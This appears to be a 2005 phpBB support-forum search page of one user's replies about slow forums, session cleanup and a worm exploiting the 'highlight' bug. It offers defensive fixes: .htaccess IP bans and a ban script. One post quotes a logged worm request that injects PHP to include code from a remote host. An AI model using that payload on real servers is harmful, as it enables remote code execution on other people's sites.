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by Taipo
Tue Oct 25, 2005 8:20 pm
Forum: 2.0.x Support Forum
Topic: Search Error
Replies: 3
Views: 246

how many sessions are in the phpbb_sessions table at the moment in your database?
by Taipo
Tue Oct 25, 2005 8:15 pm
Forum: 2.0.x Support Forum
Topic: Runs Great - Now BreakDown
Replies: 3
Views: 126

If you know how to use phpmyadmin then go to the sessions table, sort by 'session_user_id', then delete every session that is marked as -1. That will temporarily fix that.
by Taipo
Tue Oct 25, 2005 8:04 pm
Forum: 2.0.x Support Forum
Topic: Database Query Issue and Optimization
Replies: 23
Views: 700

There are a few forum owners finding the same problem at the moment, i suspect its associated with a worm circulating at the moment. While most forums are patched to the particular exploit, it is still making guest connections and using up database sessions slowing it down. see: http://www.phpbb.com...
by Taipo
Tue Oct 25, 2005 3:18 am
Forum: 2.0.x Support Forum
Topic: baffling timeout error on two forums only when logged in
Replies: 5
Views: 230

I can't see anything that would be causing that page to lag onloading. It could be related to the fact that your website is on a shared host? Meaning that there are probably umpteen million other websites using the same database server as yours, and well, sometimes other sites can cause shared webse...
by Taipo
Tue Oct 25, 2005 3:04 am
Forum: 2.0.x Support Forum
Topic: Mystery Admin on our forum ..
Replies: 6
Views: 413

I realise that we need to upgrade to the latest version and straight away but before I do I need to find the mystery Admin Its no mystery, Admin is user 2 on your forums. Most likely they were able to rebuild an admin sessions using user number 2 and exploit your forums (this issue was fixed in an ...
by Taipo
Mon Oct 24, 2005 11:46 pm
Forum: 2.0.x Support Forum
Topic: Preventing "Nigga" hack on older forum.
Replies: 9
Views: 571

at a guess i would say it is updating the styles tables via the admin_styles.php in the admin folder. so if you add htaccess username and password to that folder it will prevent that part of the hack from working. but looking at the exploit code, it is doing some nasty shit to the server your websit...
by Taipo
Mon Oct 24, 2005 11:22 pm
Forum: 2.0.x Support Forum
Topic: suddenly can't access my forum (critical error)
Replies: 4
Views: 139

see http://www.phpbb.com/phpBB/viewtopic.php?t=335339 as this also may be relevant to any recent increase in bandwidth and guest numbers and in some cases use up all available sessions in the database tables.
by Taipo
Mon Oct 24, 2005 11:21 pm
Forum: 2.0.x Support Forum
Topic: bandwidth
Replies: 8
Views: 443

see http://www.phpbb.com/phpBB/viewtopic.php?t=335339 as this also may be relevant to any recent increase in bandwidth and guest numbers
by Taipo
Mon Oct 24, 2005 11:19 pm
Forum: 2.0.x Support Forum
Topic: phpbb and system resource
Replies: 7
Views: 304

see also http://www.phpbb.com/phpBB/viewtopic.php?t=335339 as this may be related. this worm will create lots of unnecessary connections to your forum and database.
by Taipo
Mon Oct 24, 2005 10:58 pm
Forum: 2.0.x Support Forum
Topic: Worms at work
Replies: 2
Views: 417

For anyone interested in banning the IPs of these exploit attempts use the following: Create a file called ban2527.php (call it whatever you want really) add the following code to the file: <?php function htaccessban($banip) { $filelocation = "/home/username/public_folder/.htaccess"; $limitend = "# ...
by Taipo
Mon Oct 24, 2005 10:53 pm
Forum: 2.0.x Support Forum
Topic: viewtopic.php and poster=include issues
Replies: 2
Views: 59

This is the work of a worm infecting other webservers. If your forum is up to date then it will not be hacked by this worm, however it will use up resources.

see http://www.phpbb.com/phpBB/viewtopic.php?t=335339 my previous discussion about this.
by Taipo
Mon Oct 24, 2005 10:07 pm
Forum: 2.0.x Support Forum
Topic: Pointing phpbb to a MySQL server with a different IP
Replies: 6
Views: 506

have a look in your config.php file for this: $dbhost = 'localhost'; $dbname = 'database1'; $dbuser = 'user1'; $dbpasswd = '123456'; see where it says $dbhost = 'localhost'; change localhost to whatever your IP address is for the database server. if there are other errors then post them here too.
by Taipo
Mon Oct 24, 2005 9:58 pm
Forum: 2.0.x Support Forum
Topic: Worms at work
Replies: 2
Views: 417

These IPs below are all infected webservers requesting this GET request. For those of you running htaccess you could add these to your list, at best it will cut down on the amount of load on the database server. <Limit GET POST> order allow,deny deny from 66.246.246.196 deny from 65.36.232.147 deny ...
by Taipo
Mon Oct 24, 2005 9:44 pm
Forum: 2.0.x Support Forum
Topic: Worms at work
Replies: 2
Views: 417

Worms at work

It looks like a new round of worms are on the loose trying to exploit the old highlight bug. example GET ese-cad.com - - [25/Oct/2005:08:45:54 +1300] "GET /forums/viewtopic.php?p=16195&highlight=%2527.$poster=include($_GET[m]).%2527&m=http://nevsehir.pol.tr/oops?& HTTP/1.0" 403 0 "-" "Mozilla/4.0" W...

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